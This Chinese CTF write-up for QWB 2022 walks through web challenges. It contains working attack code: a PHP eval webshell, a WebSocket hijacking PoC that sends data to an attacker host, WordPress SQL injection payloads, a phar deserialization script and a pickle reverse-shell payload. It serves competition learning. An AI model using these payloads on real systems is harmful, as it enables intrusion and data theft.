qwb2022

wp 我的队友和我真强

image-20220801131740906

rcefile

www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//index,php
<?php
include "config.inc.php";

$file = $_FILES["file"];
if ($file["error"] == 0) {
if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
$typeArr = explode("/", $file["type"]);
$imgType = array("png","jpg","jpeg");
if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){
exit("type error");
}
$blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
$filearray = pathinfo($file["name"]);
$ext = $filearray["extension"];
if(in_array($ext, $blackext)) {
exit("extension error");
}
$imgname = md5(time()).".".$ext;
if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) {
array_push($userfile, $imgname);
setcookie("userfile", serialize($userfile), time() + 3600*10);
$msg = e("file: {$imgname}");
echo $msg;
} else {
echo "upload failed!";
}
}
}else{
exit("error");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//config.inc.php
<?php
spl_autoload_register();
error_reporting(0);

function e($str){
return htmlspecialchars($str);
}
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
<a href="/index.php">Index</a>
<a href="/showfile.php">files</a>
</p>

我们都知道PHP框架如MVC等等 其中框架核心类里面都会有spl_autoload_register 为了高效率的包含文件,如果这里的spl_autoload_register 没有做限制的话 那么当你想new一个test类的时候 spl_autoload_register会自动去当前目录下包含文件名为test.php 或者是test.inc

1
setcookie("userfile", serialize($userfile), time() + 3600*10);

所以我们可以上传一个inc文件吗

然后再通过这里的反序列化 是否就可以日了

编写 .inc 文件

1
<?php eval(@$_POST['cmd']);?>

稍微改一下文件类型就ok

image-20220801143146445

文件名 350937a1b0d7be9d92be7fd716166e1b.inc

1
http://eci-2zeen87cjclso2wq5edf.cloudeci1.ichunqiu.com/350937a1b0d7be9d92be7fd716166e1b.inc

我现在的目标就是去 new 一个 350937a1b0d7be9d92be7fd716166e1b 类即可

1
O:32:"350937a1b0d7be9d92be7fd716166e1b ":0:{}
image-20220801160044952

babyweb

1
2
3
4
题目内容:
本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/
docker run -dit -p "0.0.0.0:pub_port:8888"
http://39.107.137.85:35073

用法

help: 帮助菜单

changepw: 修改密码
示例: changepw 123456

bugreport: 向管理员报告漏洞页面
示例: bugreport http://host:port/login

主要就是 websocket 相关的知识 学习一下

去年就做过一个 websocket 的题 可惜一年前做的 全都忘得差不多了 重新学习一下

WebSocket安全问题分析 | 狼组安全团队公开知识库 (wgpsec.org)

websocket简单学习

什么是websocket

WebSocket是通过HTTP协议发起的一个双向全双工的通信协议。WebSocket协议被广泛用在现代WEB程序中用于数据流的传输和异步通信。

WebSocket和HTTP的区别

大多数的Web浏览器和Web网站都是使用HTTP协议进行通信的。通过HTTP协议,客户端发送一个HTTP请求,然后服务器返回一个响应。通常来说,服务端返回一个响应后,这个HTTP请求事务就已经完成了。即使这个HTTP连接处于keep-alive的状态,它们之间的每一个工作(事务)依然是请求与响应,请求来了,响应回去了。这个事务就结束了。所以通常来说,HTTP协议是一个基于事务性的通信协议。

而WebSocket呢,它通常是由HTTP请求发起建立的,建立连接后,会始终保持连接状态。客户端和服务端可以随时随地的通过一个WebSocket互发消息,没有所谓事务性的特点。这里要注意了,源于其双向全双工的通信特点,在一个WebSocket连接中,服务端是可以主动发送消息的哦,这一点已经完全区别于HTTP协议了。

因此,基于以上特点,WebSocket通常用于低延迟和允许服务器发送消息的场景。例如,金融行业常用WebSocket来传输实时更新的数据。

WebSocket的建立

1
var ws = new WebSocket("wss://normal-website.com/chat");

wss协议通过TLS连接建立一个WebSocket;ws协议是不经过加密的连接。

WebSocket握手

通过HTTP协议,客户端和服务端进行一个WebSocket握手。

客户端的握手请求:

1
2
3
4
5
6
7
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

如果服务端接受这个连接,它会返回一个WebSocket回复:

1
2
3
4
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

之后,这个WebSocket的网络连接会保持开启状态,任意一方都可以直接发送WebSocket信息。

关于WebSocket握手时的一些特性:

  • ConnectionUpgrade头部用来标识这是一个WebSocket握手消息。
  • Sec-WebSocket-Version请求头明确了一个客户端希望使用的WebSocket协议版本。版本13最常用。
  • Sec-WebSocket-Key请求头包含了一个base64编码的随机值,在每个WebSocket握手请求中,它一定是随机生成的。
  • Sec-WebSocket-Accept响应头的值是客户端发送的握手请求中Sec-WebSocket-key的哈希值,并与协议规范中定义的特定字符串连接。这样做的目的是匹配每一对握手请求,防止由于错误的配置或者缓存代理导致的连接错误。

WebSocket的消息体是什么样的

一旦一个WebSocket建立成功后,客户端和服务端任意一方都可以立即异步的发送消息。

例如,客户端可以通过JavaScirpt来简单的发送一个的消息:

1
ws.send("From b1ue0cean");

本质上,WebSocket消息体可以包含任意数据格式的内容。在现代应用程序中,通过WebSocket发送JSON格式的消息体比较常见。

例如,一个聊天机器人的WEB程序可以使用WebSocket发送如下的内容:

1
{"user":"b1ue0cean","content":"Hello b1ue0cean!"}

如何操控WebSocket

一个比较关心的问题

寻找WebSockets的安全漏洞最常用的方法就是,操纵WebSocket的通信流,通过非预期的输入来进行安全测试。本章节主要讨论,如何操纵WebSocket的通信流,以及和操纵普通的HTTP通信相比,操控WebSocket通信时要注意哪些问题。

  • 拦截和修改WebSocket信息
  • 重放和生成一个新的WebSocket消息
  • 操控WebSocket连接

1.拦截和修改WebSocket信息

image-20220801164022859

并可以进行重放

注意:你可以在Proxy -> Options -> Intercept WebSockets Messages 中配置只拦截客户端 -> 服务端, 或者服务端 -> 客户端方向的WebSocket消息。(默认情况下两个方向都拦截)

2.重放和生成一个新的WebSocket消息

image-20220801164411493

3.操控WebSocket连接

当然,除了操控WebSocket双向中传递的消息体之外,我们也可以操纵WebSocket的握手环节。这可以引入一些有趣的高级的攻击手法。例如:WebSocket跨域劫持,这会在第四章节中讲解。

有很多场景下,操控WebSocket握手连接是非常有必要的:

  • 它可以扩展你的攻击面
  • 一些攻击手法可能会导致你的连接断开,所以你需要去重新建立一个新的连接
  • Token或者其它的数据在原始的握手请求中可能被窃取或者需要更新

你可以通过刚才讲到的Burp Repeater操控WebSocket握手:

  • 发送一个WebSocket消息到Burp Repeater中。
  • 在Burp Repeater中,点击消息框右上角的小铅笔图标,选择一个WebSocket URL。然后在这个功能栏的下边你可以选择接入已经建立连接的WebSocket、克隆已经建立连接的WebSocket、或者重新连接一个已经断开连接的WebSocket。然后向导会根据你的操作给你一个详细的步骤,跟着做,修改消息体、或者是输入一个新的握手包。
  • 输入或修改结束后点击Connect,Burp会发送你的配置的握手包,然后展示详细的执行结果。如果一个新的WebSocket连接被成功的建立,你可以在Repeater中来通过这个Socket发送新的消息包。

常见的WebSocket漏洞案例

有一种WebSocket攻击类似于JSONP劫持,属于CSRF攻击的一种,它被称为cross-site WebSocket hijacking (opens new window)攻击。

1、什么是跨站WebSocket劫持?

跨站WebSocket劫持(也称为跨域WebSocket劫持)是一种由于WebSocket握手流程的安全缺陷所导致的跨站点请求伪造(CSRF)漏洞。

当WebSocket握手请求仅依靠HTTP cookie进行会话处理并且不包含任何CSRF token或其他不可预测的值时,就会出现这种漏洞。

攻击者可以在自己的站点上创建一个恶意网页,从而建立与易受攻击的应用程序的跨站点WebSocket连接。 该应用程序将在受害用户与该应用程序的会话的上下文中处理连接。

然后,攻击者的页面可以通过WebSocket连接向服务器发送任意消息,并读取从服务器接收回的消息内容。 这意味着,与常规的CSRF不同,攻击者可以与受攻击的应用程序进行双向交互。

2、跨站WebSocket劫持的危害

一个成功的跨站WebSocket劫持攻击通常会使攻击者能够:

  • 伪装成受害者用户来执行未经授权的行为,与常规CSRF一样,攻击者可以将任意消息发送到服务器端应用程序。 如果应用程序使用客户端生成的WebSocket消息执行任何敏感操作,则攻击者可以跨域生成合适的消息并触发这些操作。例如绑定手机号、修改密码等。
  • 访问受害者的敏感数据。 与常规CSRF不同,跨站点WebSocket劫持使攻击者可以通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。 如果应用程序使用服务器生成的WebSocket消息将任何敏感数据返回给用户,则攻击者可以拦截这些消息并捕获受害用户的数据。这意味着无需跨域方法的支持(JSONP、CORS),也可以读取受害者的数据。

3、如何进行一个跨站WebSocket劫持攻击

由于跨站点WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞,因此执行攻击的第一步是检查应用程序执行的WebSocket握手过程是否针对CSRF进行了保护。

就正常的CSRF攻击流程而言,通常需要找到一个握手消息,该消息仅依赖HTTP cookie进行会话处理,并且在请求参数中不使用任何token或其他不可预测的值。

例如,以下WebSocket握手请求可能容易受到CSRF的攻击,因为唯一的session token是在cookie中传输的:

1
2
3
4
5
6
7
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

注意:Sec-WebSocket-Key 请求头包含的随机值主要用于防止代理服务器缓存错误,并且不用于身份验证或会话处理目的。

如果WebSocket握手请求易受CSRF的攻击,则攻击者的网页可以执行跨站点请求,与易受攻击的服务器后端接口建立WebSocket。 攻击中接下来发生的事情完全取决于应用程序的逻辑以及它如何使用WebSockets。 攻击可能涉及:

  • 发送WebSocket消息以代表受害用户执行未经授权的操作。
  • 发送WebSocket消息以检索敏感数据。
  • 有时,可能只需要等待包含敏感数据的消息发送过来。

例如,一个跨站WebSocket劫持读取用户聊天记录的POC如下,用户在建立WebSocket连接后,向服务器发送’READY’字符串,即可接收到服务器传来的历史聊天记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<script>
// Create WebSocket connection.
var ws = new WebSocket("wss://vulnerable-site.com/chat");

// Connection opened
ws.addEventListener('open', function (event) {
ws.send('READY');
});

// Listen for messages
ws.onmessage = function(event) {
fetch('https://attacker-vps.com/?log'+event.data, {mode: 'no-cors'})
};
</script>
</html>

跨站WebSockets攻击

操控WebSocket消息体寻找漏洞

通过篡改 WebSocket 消息的内容,可以发现并利用大多数基于输入的漏洞。

例如,一个具有聊天功能的Web程序使用WebSocket在客户端和服务端之间传输消息。当一个用户输入聊天消息时,如下的一个WebSocket消息被发送到服务端:

1
{"message":"Hello Tom!"}

服务端会将这个消息内容通过WebSocket转发给另外一个用户Tom,然后在Tom的浏览器中被JS渲染为一段HTML代码。

1
<td>Hello Carlos</td>

当服务器没有对转发的内容做安全防御或过滤时,可能就会引发XSS攻击。

1
{"message":"<img src=1 onerror='alert(1)'>"}

解题

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<script>
var ws = null;
var url = "ws://" + window.location.host + "/bot";
function sendtobot() {
if (ws) {
var msg = document.getElementById("sendbox").value;
ws.send(msg);
document.getElementById("sendbox").value = "";
document.getElementById("chatbox").append("你: " + msg + "\r\n");
}
else{
ws = new WebSocket(url);
ws.onopen = function (event) {
console.log('connection open!')
var msg = document.getElementById("sendbox").value;
ws.send(msg);
document.getElementById("sendbox").value = "";
document.getElementById("chatbox").append("你: " + msg + "\r\n");
}
ws.onmessage = function (ev) {
botsay(ev.data);
};
ws.onerror = function () {
console.log("connection error");
};
ws.onclose = function () {
console.log("connection close!");
};

}
}
function closeWebSocket() {
if(ws){
ws.close();
ws = null;
}
}
function botsay(content) {
document.getElementById("chatbox").append("bot: " + content + "\r\n");
}
</script>

先改一个我自己的密码试试

easylogin

http://47.104.251.7/
本题目为渗透题,开放了80和8888两个端口,其余端口均和本题目无关,本题目无需进行目录扫描和爆破
(题目每10分钟都会自动恢复初始环境,如果遇到环境不对,请稍等片刻或联系群管寻找出题人,flag位置在常用文件夹下,并非国际通用位置,可以通过创建时间来推断,需要稍微寻找一下)

最初先用wpscan扫一下 发现sql注入漏洞

1
2
3
4
5
6
7
| [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query
| Fixed in: 5.8.3
| References:
| - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
| - https://hackerone.com/reports/1378209

首先是80端口的 sql注入

某Press核心框架WP_Query SQL注入漏洞分析(CVE-2022–21661) - 先知社区 (aliyun.com)

打这里 http://47.104.251.7/wp-admin/admin-ajax.php

image-20220801132739600

直接放sqlmap里面可以跑

payload

1
action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1*&query_vars[tax_query][1][field]=term_taxonomy_id

抓一下包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 47.104.251.7
Content-Length: 181
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.104.251.7
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.104.251.7/wp-admin/admin-ajax.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

action=aa&query_vars%5Btax_query%5D%5B1%5D%5Binclude_children%5D=1&query_vars%5Btax_query%5D%5B1%5D%5Bterms%5D%5B1%5D=1*&query_vars%5Btax_query%5D%5B1%5D%5Bfield%5D=term_taxonomy_id

这里可以打一手时间或报错都行

1
sqlmap -r 1.txt --technique=E
1
2
3
4
5
6
7
sqlmap identified the following injection point(s) with a total of 425 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) AND (SELECT 3702 FROM(SELECT COUNT(*),CONCAT(0x7170627071,(SELECT (ELT(3702=3702,1))),0x7171786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SGzg&query_vars[tax_query][1][field]=term_taxonomy_id
---

发现有这么几个数据库

1
2
3
4
available databases [3]:
[*] information_schema
[*] moodle
[*] wordpress

我发现从wordpress里我只能得到加过盐的密码 没啥用

看看moodle数据库 翻了半天 发现我也只能找到加过盐的密码 其他的没得到什么有用的信息

几个我比较感兴趣的数据库

1
2
3
4
5
6
| mdl_user_info_field              
| mdl_user_lastaccess
| mdl_user_password_history
| mdl_user_password_resets
| mdl_user_preferences
| mdl_user_private_key

看到了 mdl_user_password_resets

1
2
3
4
5
6
7
8
9
10
11
12
Database: moodle
Table: mdl_user_password_resets
[5 columns]
+-----------------+-------------+
| Column | Type |
+-----------------+-------------+
| id | bigint(10) |
| timerequested | bigint(10) |
| timererequested | bigint(10) |
| token | varchar(32) |
| userid | bigint(10) |
+-----------------+-------------+

发现这里面有 服了 原来是网站出问题了 草

我看这里NESE是去审计了代码

image-20220801171434655

然后就是打一个nday 学到了学到了

easyweb

照片墙的内部系统中可能还有什么系统。

http://47.104.95.124:8080/

upload.php

image-20220730141152514

http://47.104.95.124:8080/showfile.php?f=demo/../../../../../../../../../../etc/passwd任意文件读取

/etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 3b35825919ae
10.10.10.5 3b35825919ae

/proc/net/arp

1
2
3
4
IP address HW type Flags HW address Mask Device
10.10.10.4 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.10 0x1 0x2 02:42:0a:0a:0a:0a * eth1
4 172.18.0.1 0x1 0x2 02:42:60:b2:90:eb * eth0

index.php

1
2
3
4
5
6
7
8
<?php
$upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']);
@mkdir($upload, 0333, true);
if(isset($_POST['submit'])) {
include 'upload.php';
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
require_once('class.php');

if(isset($_SESSION)){
if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
$_FILES["file"]["name"] = $_GET['fname'];
}
$upload = new Upload();
$upload->upload();
}else {
die("<p class='tip'>guest can not upload file</p>");
}
?>

为了绕这里的 isset($_SESSION)

1
2
3
4
5
6
7
import requests
import io

url = "http://47.104.95.124:8080/upload.php"
f = io.BytesIO(b"t" * 1024 * 50)
r = requests.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS": "2333"}, files={"file": ("233.txt", f)}, cookies={"PHPSESSID": "2333"})
print(r.text)

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}

class GuestShow{
public $file;
public $contents;
public function __construct($file)
{

$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}


class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";

}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}

然后去打一个phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64
import requests
import io
import os


for i in range(10, 12):
try:
payload = f"/Applications/MAMP/bin/php/php7.4.21/bin/php 1.php http:// 10.10.10.{i}/?url=file:///flag"
res = os.popen(payload).read()
with open(".phar/.metadata.bin", "w") as f:
f.writelines(res.strip())
os.popen("tar zcvf 1.png .phar demo.txt")
url = "http://47.104.95.124:8080/upload.php"
f = io.BytesIO(b"t" * 1024 * 50)
r = requests.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS": "2333"}, files={"file": open("1.png", "rb")},
cookies={"PHPSESSID": "2333"})
path = r.text.split(" ")[-2].split("/")[-2]
r = requests.get(f"http://47.104.95.124:8080/showfile.php?f=phar:///var/www/html/{path}/1.jpg/demo.txt",
timeout=1)
print(r.text)
# res = base64.b64decode(r.text.split("<body>")[-1].replace(" ", "").split(",")[-2].split("/>")[-2])
print(i)
# print(res.decode())
except:
print(f"{i}error")

crash

1
2
3
题目内容:flag in 504 page
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/ )
http://59.110.212.61:44589
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)

def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp

@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

这里贴队友的wp

Pickle可以RCE https://zhuanlan.zhihu.com/p/89132768 ,直接修改cookie里的userdata报错500

1
2
3
4
5
6
import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''
print(base64.b64encode(data))

加到userdata里面弹shell

1
2
3
4
# 覆盖admin.secrets
payload = b'\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncbuiltins\nexec\nubVc="import admin;admin.secr"+"et=\'1\'";exec(c)\nb.'
# 修改admin密码为1
KGNidWlsdGlucwpleGVjClMnYz0iaW1wb3J0IGFkbWluO2FkbWluLnNlY3IiKyJldD0nMSciO2V4ZWMoYyknCm8u

审计负载均衡代码https://github.com/openresty/lua-restybalancer/blob/master/lib/resty/roundrobin.lua,源码未考虑weight为负数。构造weight为-1,0,-1 即可。

大概就是这样 具体可参考pkucc的wp( 我们就是pkucc

uploadpro

http://eci-2ze7r7wnzasxvptzchmd.cloudeci1.ichunqiu.com/phpinfo.php

利用 PHP7 的 OPcache 执行 PHP 代码 - 先知社区 (aliyun.com)

没去做 知道这个东西就好